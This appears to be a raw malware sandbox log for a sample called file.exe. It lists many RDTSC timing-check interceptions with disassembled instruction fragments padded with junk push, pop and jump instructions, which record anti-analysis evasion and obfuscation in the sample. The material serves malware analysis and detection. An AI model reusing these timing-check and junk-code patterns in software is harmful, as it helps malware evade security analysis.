Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E301 second address: 107E317 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F0C5CC1AFC6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E317 second address: 107E337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F0C5DBE21E0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e jnl 00007F0C5DBE21D6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E49A second address: 107E49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E49E second address: 107E4B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E4B6 second address: 107E4BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E4BA second address: 107E4BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E4BE second address: 107E4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F0C5CC1AFC6h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E4D1 second address: 107E4D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E9DB second address: 107E9DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107E9DF second address: 107E9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F0C5DBE21D6h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1085106 second address: 108511E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C5CC1AFCEh 0x0000000b push esi 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083DC6 second address: 1083DD2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007F0C5DBE21D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083F49 second address: 1083F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083F4D second address: 1083F98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F0C5DBE21DCh 0x00000013 jmp 00007F0C5DBE21E2h 0x00000018 jmp 00007F0C5DBE21DFh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083F98 second address: 1083FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0C5CC1AFC6h 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push esi 0x00000011 jmp 00007F0C5CC1AFCDh 0x00000016 pop esi 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ecx 0x0000001a push ecx 0x0000001b jmp 00007F0C5CC1AFD4h 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1083FD4 second address: 1083FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F0C5DBE21D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108411B second address: 1084131 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5CC1AFCDh 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084131 second address: 1084137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10845FE second address: 108460C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F0C5CC1AFC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1084DF8 second address: 1084E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jp 00007F0C5DBE21D6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push edx 0x00000011 pop edx 0x00000012 jg 00007F0C5DBE21D6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10882A7 second address: 10882B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F0C5CC1AFC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10882B3 second address: 10882DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F0C5DBE21D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 jmp 00007F0C5DBE21E3h 0x00000016 pop ebx 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10882DB second address: 10882E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0C5CC1AFC6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108ABFB second address: 108AC0F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0C5DBE21D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jne 00007F0C5DBE21D6h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AC0F second address: 108AC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CC1AFD1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AC26 second address: 108AC2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108AC2A second address: 108AC2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DBDB second address: 108DBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D49B second address: 108D49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D49F second address: 108D4B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F0C5DBE21DCh 0x0000000c jnc 00007F0C5DBE21D6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D4B8 second address: 108D4CF instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C5CC1AFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0C5CC1AFCBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108D4CF second address: 108D4DF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C5DBE21D6h 0x00000008 ja 00007F0C5DBE21D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094C67 second address: 1094C82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F0C5CC1AFC6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094C82 second address: 1094C86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094C86 second address: 1094C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094DF3 second address: 1094E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 jbe 00007F0C5DBE21D6h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094F3C second address: 1094F4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F0C5CC1AFC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094F4B second address: 1094F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109509A second address: 10950A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10950A0 second address: 10950BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0C5DBE21D6h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F0C5DBE21DDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BF53 second address: 104BF59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104BF59 second address: 104BF93 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0C5DBE21DCh 0x00000008 jc 00007F0C5DBE21D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 or ecx, 385BC95Ch 0x00000019 push 00000004h 0x0000001b mov dword ptr [ebp+122D2B9Eh], eax 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edi 0x00000025 jmp 00007F0C5DBE21E4h 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A5F9 second address: 109A61D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C5CC1AFCCh 0x00000009 jmp 00007F0C5CC1AFD4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099D42 second address: 1099D46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099E89 second address: 1099E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099E90 second address: 1099EAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E0h 0x00000007 jbe 00007F0C5DBE21DEh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099FF0 second address: 1099FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1099FF4 second address: 109A00F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A00F second address: 109A015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A015 second address: 109A01D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A01D second address: 109A021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109A2ED second address: 109A2F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E30C second address: 109E332 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C5CC1AFC6h 0x00000008 jmp 00007F0C5CC1AFD8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E332 second address: 109E336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109E336 second address: 109E33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D8FE second address: 109D928 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F0C5DBE21DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0C5DBE21E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D928 second address: 109D934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F0C5CC1AFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D934 second address: 109D938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D938 second address: 109D93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D93C second address: 109D94E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jg 00007F0C5DBE21D6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DBFF second address: 109DC09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DC09 second address: 109DC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DC0D second address: 109DC29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DC29 second address: 109DC31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109DDAA second address: 109DDC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCCh 0x00000007 jnp 00007F0C5CC1AFC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jg 00007F0C5CC1AFC6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A55B5 second address: 10A55BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5B3F second address: 10A5B6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFCCh 0x00000007 js 00007F0C5CC1AFC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0C5CC1AFD7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A5B6E second address: 10A5B74 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A610B second address: 10A6114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6114 second address: 10A611A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6695 second address: 10A669B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A669B second address: 10A669F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A669F second address: 10A66C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F0C5CC1AFD3h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A66C4 second address: 10A66C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A699B second address: 10A69D6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0C5CC1AFC6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F0C5CC1AFD2h 0x00000018 pushad 0x00000019 popad 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jbe 00007F0C5CC1AFC6h 0x00000025 pushad 0x00000026 popad 0x00000027 jno 00007F0C5CC1AFC6h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A69D6 second address: 10A69F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0C5DBE21E3h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6F8B second address: 10A6FB6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0C5CC1AFD0h 0x00000008 pop edx 0x00000009 jg 00007F0C5CC1AFCCh 0x0000000f ja 00007F0C5CC1AFC6h 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop edx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6FB6 second address: 10A6FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0C5DBE21E4h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6FCF second address: 10A6FD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6FD5 second address: 10A6FDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC8E1 second address: 10AC8E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC8E7 second address: 10AC8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F0C5DBE21DDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC8F9 second address: 10AC8FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC8FF second address: 10AC915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C5DBE21E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC915 second address: 10AC946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5CC1AFD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0C5CC1AFD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC946 second address: 10AC959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F0C5DBE21DEh 0x0000000b jo 00007F0C5DBE21D6h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC959 second address: 10AC965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0C5CC1AFC6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AC965 second address: 10AC97A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C5DBE21E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADE7D second address: 10ADE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADE81 second address: 10ADE90 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C5DBE21D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10ADE90 second address: 10ADE9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0C5CC1AFC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0CB0 second address: 10B0CBA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0C5DBE21D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E04 second address: 10B0E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0E08 second address: 10B0E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0C5DBE21E9h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 jmp 00007F0C5DBE21DDh 0x00000016 pushad 0x00000017 popad 0x00000018 pop eax 0x00000019 rdtsc
